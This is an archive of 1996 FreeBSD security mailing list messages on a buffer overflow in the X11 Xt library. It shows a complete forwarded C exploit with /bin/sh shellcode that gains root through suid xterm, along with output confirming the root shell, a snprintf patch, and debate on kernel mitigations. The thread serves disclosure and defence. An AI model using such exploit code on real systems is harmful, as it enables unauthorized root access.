From owner-freebsd-security Sun Aug 25 13:30:06 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA03711 for security-outgoing; Sun, 25 Aug 1996 13:30:06 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA03660; Sun, 25 Aug 1996 13:29:58 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.eu.org [193.56.58.253]) by who.cdrom.com (8.7.5/8.6.11) with ESMTP id EAA24393 ; Sun, 25 Aug 1996 04:51:25 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.eu.org [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id NAA08752; Sun, 25 Aug 1996 13:50:37 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id NAA06463; Sun, 25 Aug 1996 13:50:24 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.Alpha.7/keltia-uucp-2.9) id NAA25686; Sun, 25 Aug 1996 13:48:21 +0200 (MET DST) Message-Id: <199608251148.NAA25686@keltia.freenix.fr> Date: Sun, 25 Aug 1996 13:48:21 +0200 From: roberto@keltia.freenix.fr (Ollivier Robert) To: freebsd-security@FreeBSD.ORG Cc: security-officer@FreeBSD.ORG Subject: Re: Vulnerability in the Xt library (fwd) In-Reply-To: <199608250605.BAA22181@gwydion.hns.st-louis.mo.us>; from Kent Hamilton on Aug 25, 1996 1:05:20 -0500 References: <199608250605.BAA22181@gwydion.hns.st-louis.mo.us> X-Mailer: Mutt 0.41 Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary=Tkw3iuTSQTdrZTDt Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk --Tkw3iuTSQTdrZTDt Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable According to Kent Hamilton: > Thought this might be of interest. I confirm that it works like a charm here :-( =20 357 [13:44] roberto@keltia:~/src/C> ./exploit=20 Using offset of esp + 0 (efbfd3b0) Buffer size 1491 Warning: Color name "=EB#^^ 1=D2VVVV1=C0=B0;N =CARQSP=EB=E8=D8=FF=FF=FF/bin/sh=B4=D3= =BF=EF=B4=D3=BF=EF=EB#^^ 1=D2VVVV1= =C0=B0;N = =CARQSP=EB=E8=D8=FF=FF=FF/bin/sh=B4=D3=BF=EF=B4=D3=BFH=B3=BF=EF! # id uid=3D101(roberto) euid=3D0(root) gid=3D10(staff) groups=3D10(staff), 0(whe= el), 2(kmem), 5(operator), 6(man), 8(news), 15(cvs), 20(majordom), 21(list)= , 100(copains), 117(dialer), 2000(dos), 2001(tex) I saw the discussion on Bugtraq. There are a lot of fixed buffers in X as I recall. --=20 Ollivier ROBERT -=3D- The daemon is FREE! -=3D- roberto@keltia.freeni= x.fr FreeBSD keltia.freenix.fr 2.2-CURRENT #18: Sun Aug 18 19:16:52 MET DST 1996 --Tkw3iuTSQTdrZTDt Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia iQCVAwUBMiA9gwDy2QnruxtBAQGybgP/SFbjUahCvBxn2C7SR8irUwKquF6mOdcS Z4skE4JF8m1Lf86Nn9ixxs0WIpVtLMQcP5AcijkiMQGPHhwBgRTqPJcTOufkfpP0 9y1iKxWMnB4zxgxpJbT1DHOVhrKRqbbn1xHO/W+i6eH6WHrLRKyCC1j7k1YZBLL4 YQr0Z9n5Bo4= =sX2i -----END PGP SIGNATURE----- --Tkw3iuTSQTdrZTDt-- From owner-freebsd-security Sun Aug 25 16:09:59 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA19040 for security-outgoing; Sun, 25 Aug 1996 16:09:59 -0700 (PDT) Received: from tuminfo2.informatik.tu-muenchen.de (root@tuminfo2.informatik.tu-muenchen.de [131.159.0.81]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA19032 for ; Sun, 25 Aug 1996 16:09:55 -0700 (PDT) Received: from hphalle0.informatik.tu-muenchen.de ([131.159.4.1]) by tuminfo2.informatik.tu-muenchen.de with ESMTP id <26557-1>; Mon, 26 Aug 1996 01:09:47 +0200 Received: from hphalle2.informatik.tu-muenchen.de by hphalle0.informatik.tu-muenchen.de id <398680-222>; Mon, 26 Aug 1996 01:09:28 +0100 Subject: Vulnerability in the Xt library (fwd) From: Stefan `Sec` Zehl To: security@freebsd.org Date: Mon, 26 Aug 1996 01:09:11 +0200 (MESZ) X-URL: http://www.blafasel.de/~sec/ X-Nick: Sec X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <96Aug26.010928+0100mesz.398680-222+4828@hphalle0.informatik.tu-muenchen.de> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh hope you can provide a fix :) CU, Sec Aleph One wrote: There exists at least one vulnerability in the Xt library caused by a buffer overrun that allows arbitrary code to be executed. This vulnerability exists in the Xt library itself. As such all programs linked with it that are suid root or can be coerced into running as root are vulnerable. The standard example is of curse suid xterm. The vulnerability has been confirmed under FreeBSD, Solaris, and as far as we can tell every single other OS running all revisions of X11. There exists a large number of places in the Xt library code where buffers allocated on the stack are handled insecurly other than the one used on the fallowing exploit. The Xt library is a can of worms. The original author of this vulnerability is "b0z0 bra1n". x86 exploit tested under FreeBSD fallows. For other x86 operating systems play around with the offset: #include #include #include #define DEFAULT_OFFSET 0 #define BUFFER_SIZE 1491 long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE; if(argc>1) ofs=atoi(argv[1]); if(argc>2) bs=atoi(argv[2]); printf("Using offset of esp + %d (%x)\nBuffer size %d\n", ofs, get_esp()+ofs, bs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; memset(ptr, 0x90, bs-strlen(execshell)); ptr += bs-strlen(execshell); for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL); } Aleph One / aleph1@underground.org http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 -- Email: sec@leo.org or sec@matrix.muc.de WWW: http://www.blafasel.de/~sec/ Phone: 089/3618013 or 0177/2340515 IRC: Sec @ #blafasel Hi! I'm a .signature virus! Add me to your .signature and join in the fun! From owner-freebsd-security Sun Aug 25 19:08:35 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA09380 for security-outgoing; Sun, 25 Aug 1996 19:08:35 -0700 (PDT) Received: from irbs.irbs.com (irbs.com [199.182.75.129]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id TAA09374 for ; Sun, 25 Aug 1996 19:08:30 -0700 (PDT) Received: (from jc@localhost) by irbs.irbs.com (8.7.5/8.6.6) id WAA11517; Sun, 25 Aug 1996 22:07:50 -0400 (EDT) From: John Capo Message-Id: <199608260207.WAA11517@irbs.irbs.com> Subject: Re: Vulnerability in the Xt library (fwd) In-Reply-To: <96Aug26.010928+0100mesz.398680-222+4828@hphalle0.informatik.tu-muenchen.de> from Stefan `Sec` Zehl at "Aug 26, 96 01:09:11 am" To: zehl@informatik.tu-muenchen.de (Stefan `Sec` Zehl) Date: Sun, 25 Aug 1996 22:07:49 -0400 (EDT) Cc: security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stefan `Sec` Zehl writes: > I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh > I can also. The xterm cores on -stable though. irbs /kernel: pid 11509 (xterm), uid 0: exited on signal 10 John Capo jc@irbs.com IRBS Engineering FreeBSD Servers and Workstations (954) 792-9551 Unix/Internet Consulting - ISP Solutions From owner-freebsd-security Sun Aug 25 20:31:48 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA14014 for security-outgoing; Sun, 25 Aug 1996 20:31:48 -0700 (PDT) Received: from bsd7.cs.sunysb.edu (bsd7.cs.sunysb.edu [130.245.1.197]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id UAA14008 for ; Sun, 25 Aug 1996 20:31:41 -0700 (PDT) Received: (from uucp@localhost) by bsd7.cs.sunysb.edu (8.6.12/8.6.9) with UUCP id XAA14256 for security@freebsd.org; Sun, 25 Aug 1996 23:31:38 -0400 Received: (from gene@localhost) by starkhome.cs.sunysb.edu (8.7.5/8.6.9) id XAA12903; Sun, 25 Aug 1996 23:30:42 -0400 (EDT) Date: Sun, 25 Aug 1996 23:30:42 -0400 (EDT) From: Gene Stark Message-Id: <199608260330.XAA12903@starkhome.cs.sunysb.edu> To: security@freebsd.org Subject: Vulnerability in the Xt library (fwd) References: <4vqqpl$bn8@starkhome.cs.sunysb.edu> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is the worst one yet for me. A crazy idea occurred to me, what do other people think? Why not nip all this stuff in the bud by changing the semantics of exec() so that setuid privilege is turned off unless the program has previously executed a (new) system call that says "I really want setuid privileges to be passed to my children." Of course, this would be nonstandard, but it would have the nice property that since no existing program calls this system call (it doesn't exist yet) no further exploits of this type would be possible with existing software. Calls to this new system call could then be introduced carefully into existing software, right at the point where an exec that *has* to preserve setuid privilege is performed. I would hazard a guess (flame me if I'm wrong) that most setuid programs don't need to exec other stuff, so this type of change would not break as many things as you might think at first. - Gene Stark From owner-freebsd-security Sun Aug 25 20:59:19 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA15028 for security-outgoing; Sun, 25 Aug 1996 20:59:19 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA15022 for ; Sun, 25 Aug 1996 20:59:14 -0700 (PDT) Received: from rover.village.org (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with ESMTP id VAA06773; Sun, 25 Aug 1996 21:58:46 -0600 (MDT) Message-Id: <199608260358.VAA06773@rover.village.org> To: Gene Stark Subject: Re: Vulnerability in the Xt library (fwd) Cc: security@freebsd.org In-reply-to: Your message of Sun, 25 Aug 1996 23:30:42 EDT Date: Sun, 25 Aug 1996 21:58:46 -0600 From: Warner Losh Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : Calls to this new system call could then be introduced carefully into : existing software, right at the point where an exec that *has* to preserve : setuid privilege is performed. You'll have to be careful if you do this. You'd need to make sure that you don't create something that the code inserted onto the stack can call and do an end run around the hard work you do in putting it in in the first place. Some of the stack overflow attacks have used the fact that they can do a setuid(0) even though the program has turned off privs at the point in the program that they are at.... Personally, I think that xterm should call a program to set the permissions and modes on the pseudo device, or better yet, the whole pseudo device concept should be examined so that they are created owned by the user and the chown isn't needed. That's the only reason (aside from writing to /etc/utmp on some systems, which can be replaced by a daemon, I think) that xterm needs to be setuid root. This would break existing pseudo terminal code, potentially, but the added security of a cloning device might be worth it. Too bad it is such a big project, or it would be done by now :-) Warner From owner-freebsd-security Sun Aug 25 21:13:24 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA15771 for security-outgoing; Sun, 25 Aug 1996 21:13:24 -0700 (PDT) Received: from kdat.calpoly.edu (kdat.csc.calpoly.edu [129.65.54.101]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id VAA15764 for ; Sun, 25 Aug 1996 21:13:22 -0700 (PDT) Received: (from nlawson@localhost) by kdat.calpoly.edu (8.6.12/N8) id VAA16519; Sun, 25 Aug 1996 21:13:13 -0700 From: Nathan Lawson Message-Id: <199608260413.VAA16519@kdat.calpoly.edu> Subject: Re: Xt Vulnerability and suggested exec patch To: gene@starkhome.cs.sunysb.edu (Gene Stark) Date: Sun, 25 Aug 1996 21:13:13 -0700 (PDT) Cc: freebsd-security@freebsd.org In-Reply-To: <199608260330.XAA12903@starkhome.cs.sunysb.edu> from "Gene Stark" at Aug 25, 96 11:30:42 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > This is the worst one yet for me. A crazy idea occurred to me, what do > other people think? Why not nip all this stuff in the bud by changing the > semantics of exec() so that setuid privilege is turned off unless the > program has previously executed a (new) system call that says "I really > want setuid privileges to be passed to my children." No. Since this is an overflow problem, the exploiter can execute arbitrary assembly code on the target. This can be any system call and the OS has no way of knowing whether the program wishes to make this call or has been subverted to do so. In your proposed OS, the assembly code would be "exec /bin/sh, and yes, I do want setuid privileges passed to my children." -- Nate Lawson "There are a thousand hacking at the branches of CPE Senior evil to one who is striking at the root." CSL Admin -- Henry David Thoreau, 'Walden', 1854 From owner-freebsd-security Sun Aug 25 21:53:47 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA17745 for security-outgoing; Sun, 25 Aug 1996 21:53:47 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.eu.org [193.56.58.253]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA17731 for ; Sun, 25 Aug 1996 21:53:43 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.eu.org [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id GAA09249 for ; Mon, 26 Aug 1996 06:53:40 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id GAA15474 for security@freebsd.org; Mon, 26 Aug 1996 06:53:27 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.Alpha.9/keltia-uucp-2.9) id GAA03303; Mon, 26 Aug 1996 06:42:31 +0200 (MET DST) Message-Id: <199608260442.GAA03303@keltia.freenix.fr> Date: Mon, 26 Aug 1996 06:42:31 +0200 From: roberto@keltia.freenix.fr (Ollivier Robert) To: security@freebsd.org Subject: Re: Vulnerability in the Xt library (fwd) In-Reply-To: <199608260207.WAA11517@irbs.irbs.com>; from John Capo on Aug 25, 1996 22:07:49 -0400 References: <199608260207.WAA11517@irbs.irbs.com> X-Mailer: Mutt 0.41 Mime-Version: 1.0 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk According to John Capo: > Stefan `Sec` Zehl writes: > > I can confirm this for Freebsd 2.2-Current, it gives me a euid=0 /bin/sh > I can also. The xterm cores on -stable though. I sent a patch and a portable version of snprintf to both the X consortium and Xfree86 yesterday. It will be in 3.1.2F. If you have XFree sources on-line and are willing to recompile, apply the following patch in xc/lib/Xt: --- Error.c.old Sun Aug 25 14:57:28 1996 +++ Error.c Sun Aug 25 14:47:14 1996 @@ -238,5 +238,5 @@ (void) memmove((char*)par, (char*)params, i * sizeof(String) ); bzero( &par[i], (10-i) * sizeof(String) ); - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7], par[8], par[9]); XtError(message); @@ -263,5 +263,5 @@ (void) memmove((char*)par, (char*)params, i * sizeof(String) ); bzero ( &par[i], (10-i) * sizeof(String) ); - (void) sprintf(message, buffer, par[0], par[1], par[2], par[3], + (void) snprintf(message, sizeof message, buffer, par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7], par[8], par[9]); XtWarning(message); -- Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 2.2-CURRENT #18: Sun Aug 18 19:16:52 MET DST 1996 From owner-freebsd-security Sun Aug 25 23:02:20 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA19727 for security-outgoing; Sun, 25 Aug 1996 23:02:20 -0700 (PDT) Received: from bsd7.cs.sunysb.edu (bsd7.cs.sunysb.edu [130.245.1.197]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA19720 for ; Sun, 25 Aug 1996 23:02:14 -0700 (PDT) Received: (from uucp@localhost) by bsd7.cs.sunysb.edu (8.6.12/8.6.9) with UUCP id CAA14430; Mon, 26 Aug 1996 02:02:09 -0400 Received: (from gene@localhost) by starkhome.cs.sunysb.edu (8.7.5/8.6.9) id BAA13245; Mon, 26 Aug 1996 01:59:31 -0400 (EDT) Date: Mon, 26 Aug 1996 01:59:31 -0400 (EDT) From: Gene Stark Message-Id: <199608260559.BAA13245@starkhome.cs.sunysb.edu> To: imp@village.org CC: security@freebsd.org In-reply-to: <199608260358.VAA06773@rover.village.org> (message from Warner Losh on Sun, 25 Aug 1996 21:58:46 -0600) Subject: Re: Vulnerability in the Xt library (fwd) Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >: Calls to this new system call could then be introduced carefully into >: existing software, right at the point where an exec that *has* to preserve >: setuid privilege is performed. > >You'll have to be careful if you do this. You'd need to make sure >that you don't create something that the code inserted onto the stack >can call and do an end run around the hard work you do in putting it Of course, you're right, I didn't think this through properly. However, this new system call could test to make sure that it is being executed from the text segment, which is read-only, and refuse to perform if not. - Gene Stark From owner-freebsd-security Sun Aug 25 23:06:03 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA19885 for security-outgoing; Sun, 25 Aug 1996 23:06:03 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA19879 for ; Sun, 25 Aug 1996 23:06:00 -0700 (PDT) Received: from rover.village.org (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with ESMTP id AAA07212; Mon, 26 Aug 1996 00:05:53 -0600 (MDT) Message-Id: <199608260605.AAA07212@rover.village.org> To: Gene Stark Subject: Re: Vulnerability in the Xt library (fwd) Cc: security@freebsd.org In-reply-to: Your message of Mon, 26 Aug 1996 01:59:31 EDT Date: Mon, 26 Aug 1996 00:05:52 -0600 From: Warner Losh Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : However, this new system call could test to make sure that it is : being executed from the text segment, which is read-only, and refuse : to perform if not. Well, couldn't the code that was inserted onto the stack copy itself somewhere handy, make that a read only text segment, and make these calls? Why is the stack segment executable in the first place? Or does Intel require this? Warner From owner-freebsd-security Sun Aug 25 23:09:44 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20135 for security-outgoing; Sun, 25 Aug 1996 23:09:44 -0700 (PDT) Received: from bsd7.cs.sunysb.edu (bsd7.cs.sunysb.edu [130.245.1.197]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA20130 for ; Sun, 25 Aug 1996 23:09:42 -0700 (PDT) Received: (from uucp@localhost) by bsd7.cs.sunysb.edu (8.6.12/8.6.9) with UUCP id CAA14434; Mon, 26 Aug 1996 02:09:36 -0400 Received: (from gene@localhost) by starkhome.cs.sunysb.edu (8.7.5/8.6.9) id CAA13408; Mon, 26 Aug 1996 02:08:34 -0400 (EDT) Date: Mon, 26 Aug 1996 02:08:34 -0400 (EDT) From: Gene Stark Message-Id: <199608260608.CAA13408@starkhome.cs.sunysb.edu> To: imp@village.org CC: security@freebsd.org In-reply-to: <199608260605.AAA07212@rover.village.org> (message from Warner Losh on Mon, 26 Aug 1996 00:05:52 -0600) Subject: Re: Vulnerability in the Xt library (fwd) Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >: However, this new system call could test to make sure that it is >: being executed from the text segment, which is read-only, and refuse >: to perform if not. > >Well, couldn't the code that was inserted onto the stack copy itself >somewhere handy, make that a read only text segment, and make these >calls? The text segment is set up by the kernel when the process starts. I don't think there are any system calls that allow it to be extended. >Why is the stack segment executable in the first place? Or does Intel >require this? I could be wrong, but I think there is no way to execute-protect pages on the Intel architecture. Just read and write. - Gene From owner-freebsd-security Sun Aug 25 23:17:18 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA20496 for security-outgoing; Sun, 25 Aug 1996 23:17:18 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA20491 for ; Sun, 25 Aug 1996 23:17:16 -0700 (PDT) Received: from rover.village.org (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with ESMTP id AAA07366; Mon, 26 Aug 1996 00:17:08 -0600 (MDT) Message-Id: <199608260617.AAA07366@rover.village.org> To: Gene Stark Subject: Re: Vulnerability in the Xt library (fwd) Cc: security@freebsd.org In-reply-to: Your message of Mon, 26 Aug 1996 02:08:34 EDT Date: Mon, 26 Aug 1996 00:17:08 -0600 From: Warner Losh Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : The text segment is set up by the kernel when the process starts. : I don't think there are any system calls that allow it to be extended. mprotect( addr, len, prot ) or mmap should do the trick :-(. Prot == PROT_EXEC | PROT_READ should do the on freshly malloc'd memory, no? Or are you saying that it must be in the text segment only. That would preclude shared libraries from having this functionality in them, since they are mmap'd into the process space at image activation by ld.so. Since system calls live in libc, you'd not be able to use this system call at all :-(. I suppose that you can have ld.so do some magic, but that would potentially preclude dlopen'd libraries from calling this system call. One way you could do this is to have a function call "Don't allow setuid-ness to propigate" AND that's the only system call you get. You can turn it off, but never turn it back on... However, that requires source changes :-(. Warner From owner-freebsd-security Sun Aug 25 23:34:08 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA21115 for security-outgoing; Sun, 25 Aug 1996 23:34:08 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA21099 for ; Sun, 25 Aug 1996 23:34:02 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id XAA00528; Sun, 25 Aug 1996 23:33:45 -0700 (PDT) Message-Id: <199608260633.XAA00528@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Warner Losh cc: Gene Stark , security@FreeBSD.org Subject: Re: Vulnerability in the Xt library (fwd) In-reply-to: Your message of "Mon, 26 Aug 1996 00:05:52 MDT." <199608260605.AAA07212@rover.village.org> From: David Greenman Reply-To: dg@root.com Date: Sun, 25 Aug 1996 23:33:45 -0700 Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >: However, this new system call could test to make sure that it is >: being executed from the text segment, which is read-only, and refuse >: to perform if not. > >Well, couldn't the code that was inserted onto the stack copy itself >somewhere handy, make that a read only text segment, and make these >calls? > >Why is the stack segment executable in the first place? Or does Intel >require this? There isn't any notion of "executable" in the x86 page table mechanism. You could probably use the user code selector to limit execution to low (lower than the stack) addresses, but you'd have to deal with the signal trampoline. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Sun Aug 25 23:47:35 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA21708 for security-outgoing; Sun, 25 Aug 1996 23:47:35 -0700 (PDT) Received: from psychotic.communica.com.au (gw.communica.com.au [203.8.94.161]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id XAA21703 for ; Sun, 25 Aug 1996 23:47:31 -0700 (PDT) Received: from communica.com.au (newton@frenzy [192.82.222.1]) by psychotic.communica.com.au (8.6.12/8.6.9) with SMTP id QAA25931; Mon, 26 Aug 1996 16:14:16 +0930 Received: by communica.com.au (4.1/SMI-4.1) id AA23586; Mon, 26 Aug 96 16:14:08 CST From: newton@communica.com.au (Mark Newton) Message-Id: <9608260644.AA23586@communica.com.au> Subject: Re: Vulnerability in the Xt library (fwd) To: imp@village.org (Warner Losh) Date: Mon, 26 Aug 1996 16:14:07 +0930 (CST) Cc: gene@starkhome.cs.sunysb.edu, security@FreeBSD.org In-Reply-To: <199608260605.AAA07212@rover.village.org> from "Warner Losh" at Aug 26, 96 00:05:52 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote: > : However, this new system call could test to make sure that it is > : being executed from the text segment, which is read-only, and refuse > : to perform if not. > > Well, couldn't the code that was inserted onto the stack copy itself > somewhere handy, make that a read only text segment, and make these > calls? > Why is the stack segment executable in the first place? Or does Intel > require this? Because this would fall over if it wasn't: main(int ac, char **av) { time_t localtime, (*yukky)(time_t *) = time; yukky(&localtime); printf("%s", ctime(&localtime)); } - mark --- Mark Newton Email: newton@communica.com.au Systems Engineer Phone: +61-8-373-2523 Communica Systems WWW: http://www.communica.com.au From owner-freebsd-security Mon Aug 26 02:42:34 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id CAA00283 for security-outgoing; Mon, 26 Aug 1996 02:42:34 -0700 (PDT) Received: from freebsd.gaffaneys.com (dialup16.gaffaneys.com [134.129.252.35]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id CAA00276 for ; Mon, 26 Aug 1996 02:42:29 -0700 (PDT) Received: (from zach@localhost) by freebsd.gaffaneys.com (8.7.5/8.7.3) id EAA01803; Mon, 26 Aug 1996 04:42:53 -0500 (CDT) To: Gene Stark Cc: security@freebsd.org Subject: Re: Vulnerability in the Xt library (fwd) References: <4vqqpl$bn8@starkhome.cs.sunysb.edu> <199608260330.XAA12903@starkhome.cs.sunysb.edu> From: Zach Heilig Date: 26 Aug 1996 04:42:52 -0500 In-Reply-To: Gene Stark's message of Sun, 25 Aug 1996 23:30:42 -0400 (EDT) Message-ID: <87hgpqo50j.fsf@freebsd.gaffaneys.com> Lines: 39 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Gene Stark writes: > This is the worst one yet for me. A crazy idea occurred to me, what do > other people think? Why not nip all this stuff in the bud by changing the > semantics of exec() so that setuid privilege is turned off unless the > program has previously executed a (new) system call that says "I really > want setuid privileges to be passed to my children." Of course, this > would be nonstandard, but it would have the nice property that since no > existing program calls this system call (it doesn't exist yet) no further > exploits of this type would be possible with existing software. > Calls to this new system call could then be introduced carefully into > existing software, right at the point where an exec that *has* to preserve > setuid privilege is performed. > > I would hazard a guess (flame me if I'm wrong) that most setuid programs > don't need to exec other stuff, so this type of change would not break > as many things as you might think at first. Well, all the attacker has to do is add a call to that system call just before the code that exec()'s the shell. All this does is add an extra step for the attacker to maybe stumble on. Besides, what would the semantics be if all the userid's were 0, as in the case of some daemons with this sort of vulnerability. I don't think this would really solve the problem. What we need is a lint-like utility (better than gcc) that can warn when it finds code like: { int buf[somesize]; strcpy(buf, argv[1]); } which is dangerous in all programs, it's just less dangerous than in setuid ones. -- Zach Heilig (zach@blizzard.gaffaneys.com) | ALL unsolicited commercial email Support bacteria -- it's the | is unwelcome. I avoid dealing only culture some people have! | with companies that email ads. From owner-freebsd-security Mon Aug 26 04:18:12 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id EAA04728 for security-outgoing; Mon, 26 Aug 1996 04:18:12 -0700 (PDT) Received: from GndRsh.aac.dev.com (GndRsh.aac.dev.com [198.145.92.241]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id EAA04710 for ; Mon, 26 Aug 1996 04:18:06 -0700 (PDT) Received: (from rgrimes@localhost) by GndRsh.aac.dev.com (8.6.12/8.6.12) id EAA18508; Mon, 26 Aug 1996 04:17:36 -0700 From: "Rodney W. Grimes" Message-Id: <199608261117.EAA18508@GndRsh.aac.dev.com> Subject: Re: Vulnerability in the Xt library (fwd) To: newton@communica.com.au (Mark Newton) Date: Mon, 26 Aug 1996 04:17:35 -0700 (PDT) Cc: imp@village.org, gene@starkhome.cs.sunysb.edu, security@freebsd.org In-Reply-To: <9608260644.AA23586@communica.com.au> from Mark Newton at "Aug 26, 96 04:14:07 pm" X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Warner Losh wrote: > > > : However, this new system call could test to make sure that it is > > : being executed 